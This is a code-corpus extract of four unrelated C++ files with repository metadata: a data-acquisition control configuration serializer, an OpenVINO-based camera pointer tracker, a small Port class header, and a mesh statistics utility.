d54f8df0b27184d07be7512b24183838a5b4be2c
/config/ControlConfig_V3.cc
a754b1a804b9fac730d9f31b780d19cd3fb2a7d7
[]
no_license
lcls-daq/pdsapp
52b038e39ed16f2fa4630f234bf16615586693b1
902602c4a7ee46dd07eff665d1ff161fd1762680
refs/heads/master
2023-09-01T05:12:45.568931
2023-08-17T10:14:54
2023-08-17T10:14:54
87,125,541
2
1
null
null
null
null
UTF-8
C++
false
false
6,664
cc
ControlConfig_V3.cc
#include "pdsapp/config/ControlConfig_V3.hh" #include "pdsapp/config/Parameters.hh" #include "pdsapp/config/ParameterSet.hh" #include "pdsapp/config/PVControl_V0.hh" #include "pdsapp/config/PVMonitor_V0.hh" #include "pdsapp/config/ControlConfigType_V3.hh" #include "pdsdata/psddl/control.ddl.h" #include <new> #include <float.h> using Pds_ConfigDb::PVControl_V0::PVControl; using Pds_ConfigDb::PVMonitor_V0::PVMonitor; namespace Pds_ConfigDb { namespace ControlConfig_V3 { class PVLabel { public: PVLabel() : _name ("PV Name" , "", Pds::ControlData::PVLabel::NameSize), _value ("PV Value", "", Pds::ControlData::PVLabel::ValueSize) { } void insert(Pds::LinkedList<Parameter>& pList) { pList.insert(&_name); pList.insert(&_value); } bool pull(const Pds::ControlData::PVLabel& tc) { // construct the full name from the array base and index strncpy(_name .value, tc.name (), Pds::ControlData::PVLabel::NameSize); strncpy(_value.value, tc.value(), Pds::ControlData::PVLabel::ValueSize); return true; } int push(void* to) { Pds::ControlData::PVLabel& tc = *new(to) Pds::ControlData::PVLabel(_name.value, _value.value); return sizeof(tc); } private: TextParameter _name; TextParameter _value; }; enum StepControl { System, Duration, Events }; static const char* step_control[] = { "System", "Duration", "Events", NULL }; class ControlConfig::Private_Data { enum { MaxPVs = 100 }; public: Private_Data() : _control ("Control", System, step_control), _duration_sec ("Duration sec" , 0, 0, 1000000), _duration_nsec("Duration nsec", 0, 0, 1000000000), _events ("Nevents" , 0, 0, 100000000), _npvcs ("Number of Control PVs", 0, 0, MaxPVs), _pvcSet ("Control PV" , _pvcArgs, _npvcs ), _npvms ("Number of Monitor PVs", 0, 0, MaxPVs), _pvmSet ("Monitor PV" , _pvmArgs, _npvms ), _npvls ("Number of Label PVs", 0, 0, MaxPVs), _pvlSet ("Label PV" , _pvlArgs, _npvls ) { for(unsigned k=0; k<MaxPVs; k++) _pvcs[k].insert(_pvcArgs[k]); for(unsigned k=0; k<MaxPVs; k++) _pvms[k].insert(_pvmArgs[k]); for(unsigned k=0; k<MaxPVs; k++) _pvls[k].insert(_pvlArgs[k]); } void insert(Pds::LinkedList<Parameter>& pList) { pList.insert(&_control); pList.insert(&_duration_sec); pList.insert(&_duration_nsec); pList.insert(&_events); pList.insert(&_npvcs); pList.insert(&_pvcSet); pList.insert(&_npvms); pList.insert(&_pvmSet); pList.insert(&_npvls); pList.insert(&_pvlSet); } int pull(void* from) { const ControlConfigType& tc = *reinterpret_cast<const ControlConfigType*>(from); _control .value = tc.uses_duration() ? Duration : tc.uses_events() ? Events : System; _duration_sec .value = tc.duration().seconds(); _duration_nsec.value = tc.duration().nanoseconds(); _events .value = tc.events(); _npvcs .value = tc.npvControls(); for(unsigned k=0; k<tc.npvControls(); k++) _pvcs[k].pull(tc.pvControls()[k]); _npvms .value = tc.npvMonitors(); for(unsigned k=0; k<tc.npvMonitors(); k++) _pvms[k].pull(tc.pvMonitors()[k]); _npvls .value = tc.npvLabels(); for(unsigned k=0; k<tc.npvLabels(); k++) _pvls[k].pull(tc.pvLabels ()[k]); return tc._sizeof(); } int push(void* to) { std::list<Pds::ControlData::PVControl> pvcs; for(unsigned k=0; k<_npvcs.value; k++) { Pds::ControlData::PVControl pvc; _pvcs[k].push(&pvc); pvcs.push_back(pvc); } std::list<Pds::ControlData::PVMonitor> pvms; for(unsigned k=0; k<_npvms.value; k++) { Pds::ControlData::PVMonitor pvm; _pvms[k].push(&pvm); pvms.push_back(pvm); } std::list<Pds::ControlData::PVLabel > pvls; for(unsigned k=0; k<_npvls.value; k++) { Pds::ControlData::PVLabel pvl; _pvls[k].push(&pvl); pvls.push_back(pvl); } ControlConfigType* tc; switch(_control.value) { case Duration: tc = Pds_ConfigDb::ControlConfig_V3::_new(to, pvcs, pvms, pvls, Pds::ClockTime(_duration_sec.value, _duration_nsec.value)); break; case Events : tc = Pds_ConfigDb::ControlConfig_V3::_new(to, pvcs, pvms, pvls, _events.value); break; case System : default : tc = Pds_ConfigDb::ControlConfig_V3::_new(to, pvcs, pvms, pvls, 0); break; } return tc->_sizeof(); } int dataSize() const { return sizeof(ControlConfigType) + _npvcs.value*sizeof(Pds::ControlData::PVControl) + _npvms.value*sizeof(Pds::ControlData::PVMonitor) + _npvls.value*sizeof(Pds::ControlData::PVLabel ); } private: Enumerated<StepControl> _control; NumericInt<unsigned> _duration_sec; NumericInt<unsigned> _duration_nsec; NumericInt<unsigned> _events; NumericInt<unsigned> _npvcs; PVControl _pvcs[MaxPVs]; Pds::LinkedList<Parameter> _pvcArgs[MaxPVs]; ParameterSet _pvcSet; NumericInt<unsigned> _npvms; PVMonitor _pvms[MaxPVs]; Pds::LinkedList<Parameter> _pvmArgs[MaxPVs]; ParameterSet _pvmSet; NumericInt<unsigned> _npvls; PVLabel _pvls[MaxPVs]; Pds::LinkedList<Parameter> _pvlArgs[MaxPVs]; ParameterSet _pvlSet; }; }; }; using namespace Pds_ConfigDb::ControlConfig_V3; ControlConfig::ControlConfig() : Serializer("Control_Config"), _private_data( new Private_Data ) { _private_data->insert(pList); } int ControlConfig::readParameters (void* from) { return _private_data->pull(from); } int ControlConfig::writeParameters(void* to) { return _private_data->push(to); } int ControlConfig::dataSize() const { return _private_data->dataSize(); } #include "Parameters.icc" template class Enumerated<StepControl>;
eff4f34be6e35d138ba9b192d3a469cfdb50a142
d58c95ac598d855c2697e77033566f182f2083e2
/runtime/runtime/pointertrackerthread.cpp
40543ffc5c0921b42bb56bc19be7c4768e67d796
[]
no_license
Tai-Min/ML-Touch-Panel
0723a87418e0ab8f1c56d3b91a0dc222796ff08f
a65c85548b29c52a85a8d9e83660d1bf0382386b
refs/heads/master
2023-06-23T22:50:16.305588
2023-06-17T15:04:32
2023-06-17T15:04:32
285,046,965
1
1
null
null
null
null
UTF-8
C++
false
false
12,663
cpp
pointertrackerthread.cpp
#include "pointertrackerthread.h" #include "ngraph/opsets/opset3.hpp" PointerTrackerThread::~PointerTrackerThread() { info("Stopping pointer tracker...\n"); if(!isRunning()){ return; } // stop camera thread info(" - Stopping camera thread...\n"); cameraExitSignal.set_value(); success(" - Camera thread stopped.\n"); success("Pointer tracker stopped.\n"); } cv::Mat PointerTrackerThread::accessCamera(){ unique_lock<mutex> lk(cameraFrameMutex); return cameraFrame; } cv::Mat PointerTrackerThread::warpPerspective(const cv::Mat & frame) const { cv::Point2f source[4] = {cv::Point(conf.xtl,conf.ytl), cv::Point(conf.xtr,conf.ytr), cv::Point(conf.xbl,conf.ybl), cv::Point(conf.xbr,conf.ybr)}; cv::Point2f target[4] = {cv::Point(0,0), cv::Point(frame.cols,0), cv::Point(0,frame.rows), cv::Point(frame.cols,frame.rows)}; cv::Mat transformation = cv::getPerspectiveTransform(source,target); cv::Mat result; cv::warpPerspective(frame, result, transformation, cv::Size(frame.cols, frame.rows)); return result; } cv::Mat PointerTrackerThread::applyHeatmap(const cv::Mat & frame, const cv::Mat & predictions) const { cv::Mat predsU8; cv::normalize(predictions, predsU8, 0, 255, cv::NORM_MINMAX, CV_8UC1); cv::applyColorMap(predsU8, predsU8, cv::COLORMAP_INFERNO); cv::Mat result; cv::addWeighted(frame, 0.6, predsU8, 0.4, 0, result); return result; } void PointerTrackerThread::getCursorCoords(const cv::Mat & predictions, int & x, int & y) const { double min, max; int minIdx[2], maxIdx[2]; cv::minMaxIdx(predictions, &min, &max, minIdx, maxIdx); x = maxIdx[1]; y = maxIdx[0]; } PointerTrackerThread::EmbeddingBlob PointerTrackerThread::getEmbeddingBlob(CNN & exemplarNet, const cv::Mat &exemplar) const { // prepare inputs InferenceEngine::InferRequest embeddingRequest = exemplarNet.executableNetwork.CreateInferRequest(); InferenceEngine::TensorDesc inDesc ( InferenceEngine::Precision::U8, getEmbeddingInputDims(exemplarNet), InferenceEngine::Layout::NHWC); InferenceEngine::Blob::Ptr inBlob = InferenceEngine::make_shared_blob<uint8_t>(inDesc, exemplar.data, exemplar.total() * exemplar.elemSize()); embeddingRequest.SetBlob(exemplarNet.inputInfo.begin()->first, inBlob); // do inference embeddingRequest.Infer(); // return output blob return embeddingRequest.GetBlob(exemplarNet.outputInfo.begin()->first); } PointerTrackerThread::NetDims PointerTrackerThread::getEmbeddingInputDims(const CNN & net) const { return net.network.getInputsInfo().begin()->second->getTensorDesc().getDims(); } PointerTrackerThread::NetDims PointerTrackerThread::getEmbeddingOutputDims(const CNN & net) const { return net.network.getOutputsInfo().begin()->second->getTensorDesc().getDims(); } NetworkThread::CNN PointerTrackerThread::generateCrossCorelationLayer(const vector<size_t> & embeddingDims, bool *ok) const { info(" - - Loading corelation layer to Inference Engine...\n"); // create inputs for cross corelation info(" - - - Generating inputs to cross corelation...\n"); auto input = make_shared<ngraph::opset3::Parameter>( ngraph::element::Type_t::f32, ngraph::Shape(getEmbeddingOutputDims(embeddingSourceSubnet))); input->set_friendly_name("input"); auto filter = make_shared<ngraph::opset3::Parameter>( ngraph::element::Type_t::f32, ngraph::Shape(embeddingDims)); filter->set_friendly_name("filter"); // conv layer info(" - - - Generating cross corelation...\n"); std::shared_ptr<ngraph::Node> conv = make_shared<ngraph::opset3::Convolution>( input->output(0), filter->output(0), ngraph::Strides({1,1}), ngraph::CoordinateDiff({0,0}), ngraph::CoordinateDiff({0,0}), ngraph::Strides({1,1})); ngraph::NodeVector ops = { input, filter, conv}; // validate info(" - - - Validating cross corelation...\n"); ngraph::validate_nodes_and_infer_types(ops); // create ngraph Function object from inputs and conv info(" - - - Creating ngraph function...\n"); shared_ptr<ngraph::Function> ng_function = make_shared<ngraph::Function>(ngraph::OutputVector({conv}), ngraph::ParameterVector{ input, filter }); // create network from ngraph Function object info(" - - - Creating network object...\n"); InferenceEngine::CNNNetwork net(ng_function); CNN result; // IO info info(" - - - Getting i/o info...\n"); result.network = net; result.inputInfo = net.getInputsInfo(); result.outputInfo = net.getOutputsInfo(); // create executable info(" - - - Creating executable network...\n"); result.executableNetwork = createExecutable(net, conf.crossoverPreferredDeviceType, ok); if(*ok){ success(" - - Cross corelation loaded to Inference Engine.\n"); success(" - Cross corelation layer generated.\n"); } else{ error(" - Failed to generate cross corelation layer.\n"); } return result; } bool PointerTrackerThread::finalizeSiameseNetwork(){ info("Initializing exemplars...\n"); // load exemplar subnet info(" - Initializing exemplar embedding subnet...\n"); bool ok; CNN embeddingExemplarSubnet = loadNetwork(conf.embeddingExemplarModelName, conf.embeddingExemplarPreferredDeviceType, &ok, true, preprocess); if(!ok) return false; // generate crossover layer info(" - Generating cross corelation layer...\n"); crossCorelationLayer = generateCrossCorelationLayer(getEmbeddingOutputDims(embeddingExemplarSubnet), &ok); if(!ok) return false; // get frame for it's dimensions cv::Mat frame = activeWait({0,0}, 10); int frameWidth = frame.size().width; int frameHeight = frame.size().height; // wait a bit for user to follow instructions info("Generating exemplars...\n"); info("Place your cursor on white dot.\n"); frame = activeWait({frameWidth/2, frameHeight/2}, 5000); NetDims exemplarDims = getEmbeddingInputDims(embeddingExemplarSubnet); int exemplarWidth = exemplarDims[3]; int exemplarHeight = exemplarDims[2]; // generate some exemplar filters //for(int i = -2; i <= 2; i+=2){ // like in original paper int width = exemplarWidth * pow(1.1, 1); int height = exemplarHeight * pow(1.1, 1); cv::Mat exemplar; // copy center of frame to exemplar frame({int(frameWidth/2 - width/2), int(frameHeight/2 - height/2),width, height}).copyTo(exemplar); // resize it to match network's input cv::resize(exemplar, exemplar, {(int)exemplarDims[3], (int)exemplarDims[2]}); // add generated filter blob to vector exemplarFilters.push_back(getEmbeddingBlob(embeddingExemplarSubnet, exemplar)); // show it to user for some time emit visualsChanged(exemplar); QThread::sleep(1); //} success("Exemplars generated.\n"); return true; } cv::Mat PointerTrackerThread::networkRequest(const cv::Mat & sourceFrame, const EmbeddingBlob & filter){ // cross corelation InferenceEngine::InferRequest xcorRequest = crossCorelationLayer.executableNetwork.CreateInferRequest(); // prepare inputs for cross corelation xcorRequest.SetBlob("input", getEmbeddingBlob(embeddingSourceSubnet, sourceFrame)); xcorRequest.SetBlob("filter", filter); // create empty score map NetDims dims = crossCorelationLayer.outputInfo.begin()->second->getTensorDesc().getDims(); cv::Mat res = cv::Mat::zeros(dims[2], dims[3], CV_32FC1); // prepare output InferenceEngine::TensorDesc resDesc ( InferenceEngine::Precision::FP32, crossCorelationLayer.outputInfo.begin()->second->getTensorDesc().getDims(), InferenceEngine::Layout::NCHW); InferenceEngine::Blob::Ptr resBlob = InferenceEngine::make_shared_blob<float>(resDesc, (float*)res.data, dims[2] * dims[3]); string outputName = crossCorelationLayer.outputInfo.begin()->first; xcorRequest.SetOutput(InferenceEngine::BlobMap({{outputName, resBlob}})); // do inference with cross corelation xcorRequest.Infer(); return res; } cv::Mat PointerTrackerThread::activeWait(const cv::Point & circlePosition, int t){ cv::Mat frame; auto start = chrono::high_resolution_clock::now(); auto now = chrono::high_resolution_clock::now(); auto time = now - start; // do it for given time in ms while(time / chrono::milliseconds(1) < t){ frame = cv::Mat(); // get valid frame while(frame.empty()){ frame = accessCamera(); QThread::msleep(10); } // warp it to get only board frame = warpPerspective(frame); // display warped frame through gui thread cv::Mat displayFrame; frame.copyTo(displayFrame); if(circlePosition.x > -1 && circlePosition.y > -1) cv::circle(displayFrame, circlePosition, 7, {255,255,255}, -1); emit visualsChanged(displayFrame); time = chrono::high_resolution_clock::now() - start; } return frame; } bool PointerTrackerThread::runStep() { // do some initialization stuff if(fstScan){ if(!finalizeSiameseNetwork()) return false; fstScan = false; } // get new frame from camera cv::Mat frame = accessCamera(); // ignore empties that may happen before camera initializes if(frame.empty()) return true; // transform perspective so blackboard is centered and fills whole frame frame = warpPerspective(frame); NetDims inputDims = getEmbeddingInputDims(embeddingSourceSubnet); //resize frame to match network's input cv::resize(frame, frame, {(int)inputDims[3],(int)inputDims[2]}, cv::INTER_CUBIC); int cntr = 1; cv::Mat scoreMap; // get score map that is created from all partial score maps from all exemplar filters for(auto & filter : exemplarFilters){ cv::Mat partialMap = networkRequest(frame, filter); if(cntr == 1){ partialMap.copyTo(scoreMap); } else{ cv::addWeighted(scoreMap, (cntr-1)/(double)cntr, partialMap, 1/(double)cntr, 0, scoreMap); } cntr++; } // resize score map to match frame's size cv::resize(scoreMap, scoreMap, frame.size(), cv::INTER_CUBIC); // get cursor coords from score map int x, y; getCursorCoords(scoreMap, x, y); int screenX = x*(double)(conf.screenWidth/(double)scoreMap.size().width)+1920; int screenY = y*(double)(conf.screenHeight/(double)scoreMap.size().height); emit cursorPositionChanged(screenX, screenY); // generate heatmap for gui cv::Mat heatmap = applyHeatmap(frame, scoreMap); cv::circle(heatmap, {x, y}, 3, {255,255,255}, -1); emit visualsChanged(heatmap); return true; } bool PointerTrackerThread::start(Config threadConf){ info("Starting pointer tracker thread...\n"); if(isRunning()){ warn("Tried to run pointer tracker thread but it's already running. Ignored.\n"); return false; } conf = threadConf; // load source subnet bool ok; info(" - Loading source embedding subnet...\n"); embeddingSourceSubnet = loadNetwork(conf.embeddingSourceModelName, conf.embeddingSourcePreferredDeviceType, &ok, true, preprocess); if(!ok) return false; // create camera thread info(" - Creating and starting camera thread...\n"); cameraExitSignal = promise<void>(); class::thread cameraThread([=](){ future<void> cameraExitFuture = cameraExitSignal.get_future(); cv::VideoCapture cap; if(conf.useIpCam) cap.open(conf.IPCamURL); else cap.open(conf.cameraId); if(!cap.isOpened()){ error("Couldn't open camera.\n"); return; } while(cameraExitFuture.wait_for(chrono::microseconds(1)) == future_status::timeout){ unique_lock<mutex> lk(cameraFrameMutex); cap.read(cameraFrame); } cap.release(); }); info(" - Detaching camera thread...\n"); cameraThread.detach(); fstScan = true; QThread::start(); success("Pointer tracker thread has started.\n"); return true; }
ff69cdffb18b852cc235381d53a58dfe71b0137e
592dffc97f295c6b08909d111d55d9390e3eff92
/assignment1/Port.h
3096894eed1a8e0f8e0751312f1f64d1b0695fd7
[]
no_license
NaderAlAwar/EECE-437-Assignments
ca7e210bda872c9b6f4c2ab07540486b919f74e3
4a3ea76125ec6d0f194bc0f522e4ade21df351fc
refs/heads/master
2021-09-10T15:46:45.994099
2018-03-12T19:17:52
2018-03-12T19:17:52
122,191,361
0
0
null
null
null
null
UTF-8
C++
false
false
370
h
Port.h
#ifndef PORT_H #define PORT_H #include <string> class Port { public: Port(); //true by default Port(bool status, std::string input); Port(const Port &); //~Port(); bool isEnabled(); //returns enabled void enable(); void disable(); std::string getValue(); private: bool enabled; std::string value; }; #endif // !PORT_H
9291ac78f6bd612f9529cb03eefb19506094677a
c01b0159663fc23086cf2852ab5e1165055f4bb8
/apps/mshinfo/mshinfo.cpp
16f21343a136051deb5592d59dfde4f498a8a6a5
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
Jiangjunfeng/gaps
44e1255eb979c461183a05d27b9830d93fe31af9
20364a9f58d2fa65f277474a19d6f4752e2f59fc
refs/heads/master
2021-01-23T02:39:55.311158
2017-03-24T00:22:02
2017-03-24T00:22:02
86,013,464
2
0
null
2017-03-24T01:18:50
2017-03-24T01:18:50
null
UTF-8
C++
false
false
4,061
cpp
mshinfo.cpp
// Source file for the mesh info program // Include files #include "R3Shapes/R3Shapes.h" RNArea SurfaceArea(R3Mesh *mesh) { // Sum surface area RNArea sum = 0.0; for (int i = 0; i < mesh->NFaces(); i++) { R3MeshFace *face = mesh->Face(i); sum += mesh->FaceArea(face); } return sum; } RNScalar AverageVertexValence(R3Mesh *mesh) { // Sum surface valence RNScalar sum = 0.0; for (int i = 0; i < mesh->NVertices(); i++) { R3MeshVertex *vertex = mesh->Vertex(i); sum += mesh->VertexValence(vertex); } return sum / mesh->NVertices(); } RNAngle AverageEdgeInteriorAngle(R3Mesh *mesh) { // Sum dihedral angles int count = 0; RNAngle sum = 0.0; for (int i = 0; i < mesh->NEdges(); i++) { R3MeshEdge *edge = mesh->Edge(i); RNAngle angle = mesh->EdgeInteriorAngle(edge); if (RNIsZero(angle)) continue; sum += angle; count++; } return sum / count; } int NumBoundaryEdges(R3Mesh *mesh) { // Count number of boundary edges int count = 0; for (int i = 0; i < mesh->NEdges(); i++) { R3MeshEdge *edge = mesh->Edge(i); R3MeshFace *face0 = mesh->FaceOnEdge(edge, 0); R3MeshFace *face1 = mesh->FaceOnEdge(edge, 1); if (!face0 || !face1) count++; } return count; } int NumConnectedComponents(R3Mesh *mesh) { // Get fresh mark value R3mesh_mark++; // Iterate finding connected components int count = 0; int start = 0; for (;;) { // Find an unmarked face R3MeshFace *seed = NULL; for (; start < mesh->NFaces(); start++) { R3MeshFace *face = mesh->Face(start); if (mesh->FaceMark(face) != R3mesh_mark) { seed = face; break; } } // Check if found a new component if (!seed) break; else count++; // Mark connected component RNArray<R3MeshFace *> stack; stack.InsertTail(seed); while (!stack.IsEmpty()) { R3MeshFace *face = stack.Tail(); stack.RemoveTail(); mesh->SetFaceMark(face, R3mesh_mark); for (int i = 0; i < 3; i++) { R3MeshFace *neighbor = mesh->FaceOnFace(face, i); if ((neighbor) && (mesh->FaceMark(neighbor) != R3mesh_mark)) { stack.InsertTail(neighbor); } } } } // Return number of connected components return count; } int main(int argc, char **argv) { // Check number of arguments if (argc != 2) { printf("Usage: meshinfo inputfile\n"); exit(1); } // Create mesh R3Mesh *mesh = new R3Mesh(); if (!mesh) { fprintf(stderr, "Unable to allocate mesh data structure.\n"); exit(1); } // Read mesh if (!mesh->ReadFile(argv[1])) { fprintf(stderr, "Unable to read file: %s\n", argv[1]); exit(1); } // Compute stats int num_boundaries = NumBoundaryEdges(mesh); int num_components = NumConnectedComponents(mesh); RNScalar avg_vertex_valence = AverageVertexValence(mesh); RNScalar avg_edge_length = mesh->AverageEdgeLength(); RNArea total_face_area = SurfaceArea(mesh); RNAngle avg_edge_interior_angle = AverageEdgeInteriorAngle(mesh); const R3Point& centroid = mesh->Centroid(); const R3Box& bbox = mesh->BBox(); // Print stats printf("Total faces = %d\n", mesh->NFaces()); printf("Total edges = %d\n", mesh->NEdges()); printf("Total vertices = %d\n", mesh->NVertices()); printf("Boundary edges = %d ( %g%% )\n", num_boundaries, 100.0 * num_boundaries/ mesh->NEdges()); printf("Connected components = %d\n", num_components); printf("Surface area = %g\n", total_face_area); printf("Average vertex valence = %g\n", avg_vertex_valence); printf("Average edge length = %g\n", avg_edge_length); printf("Average edge interior angle = %g\n", avg_edge_interior_angle); printf("Centroid = ( %g %g %g )\n", centroid[0], centroid[1], centroid[2]); printf("Bounding box = ( %g %g %g ) ( %g %g %g )\n", bbox[0][0], bbox[0][1], bbox[0][2], bbox[1][0], bbox[1][1], bbox[1][2]); printf("Axial lengths = ( %g %g %g )\n", bbox.XLength(), bbox.YLength(), bbox.ZLength()); // Return success return 0; }